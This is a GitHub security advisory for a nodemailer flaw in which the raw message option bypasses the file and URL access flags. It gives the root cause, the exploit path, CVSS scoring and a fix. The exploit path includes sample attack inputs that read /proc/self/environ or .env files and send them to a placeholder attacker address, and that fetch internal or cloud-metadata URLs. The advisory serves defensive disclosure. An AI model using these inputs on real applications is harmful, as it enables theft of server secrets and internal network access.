GHSA-p6gq-j5cr-w38f
ADVISORY - githubSummary
Message-level raw option bypasses disableFileAccess / disableUrlAccess, enabling arbitrary file read and full-response SSRF in the sent message
- Target: nodemailer/nodemailer, npm
nodemailerv9.0.0 (HEAD4e58450eb490e5097a74b2b2cce35a8d9e21856e) - Verdict: CONFIRMED (local PoC, no network)
Summary
Nodemailer exposes disableFileAccess and disableUrlAccess so an application that passes
untrusted message data to the library can forbid that data from reading local files or
fetching URLs. Every attachment, alternative, html/text/watchHtml/amp and icalEvent
content node honors these flags. The message-level raw option does not.
MailComposer.compile() builds the root MIME node for a raw message without threading the
two flags, so a raw: { path: '/etc/passwd' } or raw: { href: 'http://169.254.169.254/…' }
message is read / fetched anyway, and the file or HTTP-response bytes become the actual
message that is sent by every transport (SMTP, SES, sendmail, stream, JSON). An actor whose
input the application intended to sandbox therefore obtains arbitrary local-file disclosure and
a full-response SSRF primitive, delivered to a recipient the same actor can choose.
This is the same vulnerability class as the already-published jsonTransport advisory
GHSA-wqvq-jvpq-h66f, but a distinct code path (raw root node, not normalize()), and
strictly higher impact: the jsonTransport bug only affected the locally-returned JSON, whereas
this affects the delivered RFC822 message for all transports.
Affected component
lib/mail-composer/index.js:34-35— root cause:
Theif (this.mail.raw) { this.message = new MimeNode('message/rfc822', { newline: this.mail.newline }).setRaw(this.mail.raw); }MimeNodeis constructed with only{ newline }. Compare the sibling node builders_createMixed/_createAlternative/_createRelated/_createContentNode(lib/mail-composer/index.js:389-527), which all passdisableUrlAccess: this.mail.disableUrlAccess, disableFileAccess: this.mail.disableFileAccess.lib/mime-node/index.js:51-52— the constructor derivesthis.disableFileAccess/this.disableUrlAccesssolely from its ownoptions; children do not inherit a parent's flags (createChild/appendChild, lines 175-194, pass options through verbatim).lib/mime-node/index.js:812—setRaw()content is resolved throughthis._getStream(this._raw).lib/mime-node/index.js:984-1010—_getStreamreads the file (fs.createReadStream, 995) or fetches the URL (nmfetch, 1009) only guarded bythis.disableFileAccess/this.disableUrlAccess, which on therawroot node arefalse.- Reached from the normal send flow at
lib/mailer/index.js:188(mail.message = new MailComposer(mail.data).compile()), so every transport is affected.
Reachability gate (hop-by-hop)
- Source. Application calls
transporter.sendMail({ raw: <userControlled> , to: <userControlled> })withdisableFileAccess: trueand/ordisableUrlAccess: trueconfigured on the transporter (forced ontomail.datainlib/mailer/mail-message.js:36-40) or per message. This is the exact scenario the flags exist for — the same precondition under which GHSA-wqvq-jvpq-h66f was accepted. - Guard — the access flags. For attachments the flag is enforced: a node created by
_createContentNodecarriesdisableFileAccess, so_getStreamthrowsEFILEACCESS. Bypass: therawbranch (compile():34-35) never sets the flag on its node, sothis.disableFileAccess === falseand the guard atmime-node:985/:999is skipped. There is no other validation betweenmail.rawand the read;rawcontent shapes ({path},{href}, stream, string, buffer) are accepted as-is bysetRaw/_getStream. - Sink.
fs.createReadStream(content.path)(file disclosure) ornmfetch(content.href, …)(SSRF). The resulting bytes are emitted as the message body bycreateReadStream(), which every transport pipes to its destination (smtp-transport:233,smtp-pool/pool-resource:208,ses-transport:96,sendmail-transport:184,stream-transport:67).
No guard blocks the chain; the only guard (the access flags) is structurally absent on this node.
Root cause
Inconsistent enforcement: the access policy is applied per-MimeNode via constructor options and
must be re-passed at every node creation. The raw-message shortcut in compile() omits it,
while all five other node builders include it. The flags are therefore enforced for every content
type except the one that lets the caller supply a complete message body by path/URL.
Exploit path
Application that sandboxes untrusted mail input (disableFileAccess/disableUrlAccess set):
- Untrusted actor supplies
raw: { path: '/proc/self/environ' }(or any server file:/app/.env, key material, etc.) andto: attacker@evil.test. compile()builds the raw root node without the flags; the transport reads the file and sends its contents as the message → arbitrary server-file exfiltration to an attacker-chosen mailbox.- Alternatively
raw: { href: 'http://127.0.0.1:8080/admin' }or a cloud metadata URL → Nodemailer fetches it server-side and delivers the full response body in the email → full-response SSRF (no blind-channel limitation).
Impact
- Confidentiality (High): arbitrary local file read disclosed in the outgoing message; full-response SSRF to internal/metadata endpoints, also disclosed in the message.
- Integrity (Low): attacker-fetched/file content is injected into the delivered mail.
- The two protective flags an application relies on to contain untrusted input are silently
ineffective for
raw.
Preconditions
The application (a) passes disableFileAccess and/or disableUrlAccess (the documented sandboxing
flags) and (b) lets untrusted input influence the raw field (and, for maximal disclosure, to).
No other configuration is required; all bundled transports are affected. This mirrors the accepted
precondition of GHSA-wqvq-jvpq-h66f.
Severity
- AV — message data routinely originates over the network in the apps these flags protect.
- AC — a single crafted
rawobject; deterministic. - PR — the actor is a user whose input the app already treats as untrusted (the reason the flags are set); not fully anonymous in the typical deployment.
- UI — no victim interaction.
- S — impact within Nodemailer's process scope.
- C — arbitrary file read and full-response SSRF, both delivered to an attacker-chosen recipient. (The sibling jsonTransport advisory used C:L because its leak stayed in locally-returned JSON; here the bytes leave the system in the sent message, so C:H is warranted.)
- I — attacker injects fetched/file bytes into the outgoing message.
- A.
Note: if a deployment fixes the recipient (
tonot attacker-controlled) the disclosure channel narrows and the rating degrades toward the sibling's Medium; the High rating reflects the reasonable worst case whererawandtoare both untrusted.
Adversarial re-read (attempts to refute)
- "
rawcontent is by-design trusted, so the flags shouldn't apply." Rejected: every other content path (attachments, alternatives, html/text, icalEvent) honors the flags, and the maintainer already accepted GHSA-wqvq-jvpq-h66f for exactly this "untrusted input + flag set" model. The asymmetry — attachment{path}is blocked butraw:{path}is not — is the bug, and the PoC's CONTROL case proves the flag is otherwise effective on the same file. - "The raw node inherits the flags via rootNode." Rejected by code and by PoC:
compile():35constructs the node with{ newline }only;MimeNodeconstructor setsthis.disableFileAccess = !!options.disableFileAccess→false;rootNodeis itself; no inheritance exists. - "The PoC leaks for an unrelated reason." Rejected: the CONTROL message (
attachments:[{path}], same file, same transporter) returnsEFILEACCESS; only theraw:{path}message leaks. The sentinel nonce exists solely in the temp file; the URL nonce is generated server-side and is only obtainable by an actual fetch. Both observables are uniquely bound to the bypass. - "Maybe only jsonTransport (already reported) is affected." Rejected: the PoC uses
streamTransportand the root cause is inMailComposer.compile()(mailer:188), shared by all transports; jsonTransport is a different (already-fixed) path.
I could not find any guard that blocks the chain; the finding survives.
Proof of concept (safe, benign)
findings/nodemailer/raw/poc-raw-fileaccess-bypass.js — local, no network egress (loopback only),
no destructive action. Output:
[CONTROL] attachment path with disableFileAccess: BLOCKED (EFILEACCESS) — flag works here
[ATTACK] raw:{path} with disableFileAccess=true: BYPASSED — sentinel file CONTENT present in message
[ATTACK] raw:{href} with disableUrlAccess=true (loopback server): BYPASSED — fetched body present (SSRF)
VERDICT: CONFIRMED
Run: node findings/nodemailer/raw/poc-raw-fileaccess-bypass.js (exit 0 = confirmed).
Remediation
Thread the access policy onto the raw root node, exactly as the other builders do:
if (this.mail.raw) {
this.message = new MimeNode('message/rfc822', {
newline: this.mail.newline,
disableFileAccess: this.mail.disableFileAccess,
disableUrlAccess: this.mail.disableUrlAccess
}).setRaw(this.mail.raw);
}
(Defense in depth: setRaw/_getStream could also refuse {path}/{href} raw content when either
flag is set, regardless of how the node was constructed.) Add a regression test asserting that
raw:{path} and raw:{href} reject with EFILEACCESS/EURLACCESS when the flags are set, mirroring
the attachment tests.
GitHub
CVSS SCORE
7.1high| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| nodemailer | npm | - | - | <=9.0.0 | 9.0.1 |
CVSS:3 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
The vulnerable system can be exploited without interaction from any user.
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact on the impacted component.
There is no impact to availability within the impacted component.
minimos
MINI-276p-6xpv-6q2x
-
minimos
MINI-5rr9-j574-jxgc
-
minimos
MINI-gg8w-xxfm-mcgg
-
minimos
MINI-v7gj-84ph-cr8w
-